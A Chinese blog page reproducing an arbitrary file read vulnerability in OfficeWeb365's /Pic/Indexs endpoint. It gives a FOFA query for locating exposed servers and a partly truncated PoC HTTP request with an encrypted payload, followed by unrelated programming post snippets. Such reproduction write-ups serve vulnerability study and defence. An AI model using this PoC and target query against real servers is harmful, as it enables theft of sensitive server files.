当前位置：首页 > news >正文

OfficeWeb365 Indexs 任意文件读取漏洞复现

news 2025/10/27 6:16:44

0x01 产品简介

OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务，包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览，WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。

0x02 漏洞概述

OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞，攻击者可通过独特的加密方式对payload进行加密，读取任意文件，获取服务器敏感信息，使系统处于极不安全的状态。

0x03 复现环境

FOFA：body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"

0x04 漏洞复现

PoC

GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchan

OfficeWeb365 Indexs 任意文件读取漏洞复现

0x01 产品简介 OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务，包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览，WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。 0x02 漏洞概述 OfficeWeb365 /Pi…...

编程日记 2024/1/3 8:05:51

Crypto的简单应用-前后端加密传输

最近遇到一个数据脱敏处理的需求，想要用一种轻量级的技术实现，必须足够简单并且适用于所有场合如前后端加密传输、路由加密、数据脱敏等。抽时间研究了一下Crypto加密库的一些API，发现完全符合上述需求，扩展也比较容易。 1、前端加…...

编程日记 2024/1/3 8:02:48

Vue3-32-路由-重定向路由

什么是重定向路由的重定向 ：将匹配到的路由【替换】为另一个路由。 redirect : 重定向的关键字。重定向的特点 1、重定向是路由的直接替换,路由的地址是直接改变的； 2、在没有子路由配置的情况下，重定向的路由可以省略 component 属性的配…...

编程日记 2024/1/3 7:53:41

如何用js动态修改字体大小

在项目中，我们常常会遇到使用v-html渲染文本的情况。如果需要点击大中小三个字号按钮，需要修改字体的大小。那我们应该怎么做呢 function fontSize(element, type) {let size {big: 22,middle: 16,small: 12};var result element.innerHTML.replac…...

编程日记 2024/1/3 7:52:40

【BIG_FG_CSDN】C++ 数组与指针（个人向——学习笔记）

一维数组在内存占用连续存储单元的相同类型数据序列的存储。数组是静态存储器的块；在编译时确定大小后才能使用； 其声明格式如下： 元素类型数组名[常量]；元素类型：数组中元素的数据类型； 常量&#…...

编程日记 2024/1/3 7:50:38

桌面天气预报软件 Weather Widget free mac特点介绍

Weather Widget free for Mac多种吸引人的小部件设计可供选择，可以随时了解天气！还可以在Dock和菜单栏中为您提供简短的天气预报或当前状况的概述。 Weather Widget free for Mac软件介绍始终在桌面上使用时尚的天气小部件来随时了解天气！多…...

编程日记 2024/1/3 7:48:36

HarmonyOS应用开发-搭建开发环境

本文介绍如何搭建 HarmonyOS 应用的开发环境，介绍下载安装 DevEco Studio 开发工具和 SDK 的详细流程。华为鸿蒙 DevEco Studio 是面向全场景的一站式集成开发环境，面向全场景多设备，提供一站式的分布式应用开发平台，支持分布式多…...

编程日记 2024/1/3 7:43:32

＜JavaEE＞ TCP 的通信机制（五） -- 延时应答、捎带应答、面向字节流

目录 TCP的通信机制的核心特性七、延时应答 1）什么是延时应答？ 2）延时应答的作用八、捎带应答 1）什么是捎带应答？ 2）捎带应答的作用九、面向字节流 1）沾包问题 2）“沾包…...

编程日记 2024/1/3 7:41:31

电脑怎么设置代理IP上网？如何隐藏自己电脑的真实IP？

在现代互联网中，代理IP已成为许多用户保护隐私和上网安全的重要手段。通过设置代理IP，用户可以隐藏自己的真实IP地址，提高上网的安全性，同时保护个人信息不被泄露。本文将详细介绍如何设置代理IP上网以及如何隐藏电脑的真实IP地址…...

编程日记 2024/1/3 7:40:30

Django信号机制源码分析（观察者模式）

Django信号的实现原理本质是设计模式中的观察者模式，浅谈Python设计模式 -- 观察者模式，也可以叫做发布-订阅模式，信号对象维护一个订阅者列表，当信号被触发时，它会遍历订阅者，依次通知它们。先来回顾一下…...

编程日记 2024/1/3 7:38:28

MyBatis-config.xml配置文件

1、基本介绍： mybatis的核心配置文件(mybatis-config.xml)，比如配置jdbc连接信息，注册mapper等等，我们需要对这个配置文件有详细的了解。官网地址有详细介绍 mybatis – MyBatis 3 | 配置 2、properties属性在通常的情况下&am…...

编程日记 2024/1/3 7:33:24

【Spring实战】17 REST服务介绍

文章目录 1. 为什么出现2. 拥有哪些优势3. Spring中的应用4. spring-boot-starter-data-rest总结 REST（Representational State Transfer）是一种软件架构风格，通常用于设计网络应用程序的服务接口。RESTful 服务是基于 REST 原则构建的网络服…...

编程日记 2024/1/3 7:28:19

java struts2教务管理系统Myeclipse开发mysql数据库struts2结构java编程计算机网页项目

一、源码特点 java struts2 教务管理系统是一套完善的web设计系统，对理解JSP java编程开发语言有帮助 struts2 框架开发，系统具有完整的源代码和数据库，系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发，数据库…...

编程日记 2024/1/3 7:25:16

跟着cherno手搓游戏引擎【3】事件系统和预编译头文件

不多说了直接上代码，课程中的架构讲的比较宽泛，而且有些方法写完之后并未测试。所以先把代码写完。理解其原理，未来使用时候会再此完善此博客。文件架构： Event.h:核心基类 #pragma once #include"../Core.h" #inclu…...

编程日记 2024/1/3 7:20:12

排序算法之快速排序

快速排序是一种高效的排序算法，它的基本思想是采用分治策略，将一个无序数组分割成两个子数组，分别对子数组进行排序，然后将两个排序好的子数组合并成一个有序数组。快速排序的性能优于归并排序，尤其在处理大规模数据时…...

编程日记 2024/1/3 7:19:10

Docker 从入门到实践：Docker介绍

前言在当今的软件开发和部署领域，Docker已经成为了一个不可或缺的工具。Docker以其轻量级、可移植性和标准化等特点，使得应用程序的部署和管理变得前所未有的简单。无论您是一名开发者、系统管理员，还是IT架构师，理解并掌握Dock…...

编程日记 2024/1/3 7:13:05

用IDEA创建/同步到gitee（码云）远程仓库（保姆级详细）

前言： 笔者最近在学习java，最开始在用很笨的方法：先克隆远程仓库到本地，再把自己练习的代码从本地仓库上传到远程仓库，很是繁琐。后发现可以IDEA只需要做些操作可以直接把代码上传到远程仓库，也在网上搜了些…...

编程日记 2024/1/3 7:10:02

【Linux】进程控制深度了解

> 作者简介：დ旧言~，目前大二，现在学习Java，c，c，Python等 > 座右铭：松树千年终是朽，槿花一日自为荣。 > 目标：熟练掌握Linux下的进程控制 > 毒鸡汤&#xff…...

编程日记 2024/1/3 7:07:00

kbdnso.dll文件缺失，软件或游戏报错的快速修复方法

很多小伙伴遇到电脑报错，提示“kbdnso.dll文件缺失，程序无法启动执行”时，不知道应该怎样处理，还以为是程序出现了问题，想卸载重装。首先，先要了解“kbdnso.dll文件”是什么？ kbdnso.dll是Win…...

编程日记 2024/1/3 7:05:59

Spring技术内幕笔记之IOC的实现

IOC容器的实现依赖反转： 依赖对象的获得被反转了，于是依赖反转更名为：依赖注入。许多应用都是由两个或者多个类通过彼此的合作来实现业务逻辑的，这使得每个对象都需要与其合作的对象的引用，如果这个获取过程需要自身…...

编程日记 2024/1/3 7:04:56

7.4.分块查找

一.分块查找的算法思想： 1.实例： 以上述图片的顺序表为例， 该顺序表的数据元素从整体来看是乱序的，但如果把这些数据元素分成一块一块的小区间， 第一个区间[0,1]索引上的数据元素都是小于等于10的， 第二…...

编程新知 2025/10/15 15:23:26

C++标志库中提供is_convertible，可以测试一种类型是否可以转换为另一只类型： template <class From, class To> struct is_convertible; 使用举例： #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...

编程新知 2025/6/11 15:23:57

多场景 OkHttpClient 管理器 - Android 网络通信解决方案

下面是一个完整的 Android 实现，展示如何创建和管理多个 OkHttpClient 实例，分别用于长连接、普通 HTTP 请求和文件下载场景。 <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas…...

编程新知 2025/9/30 14:27:04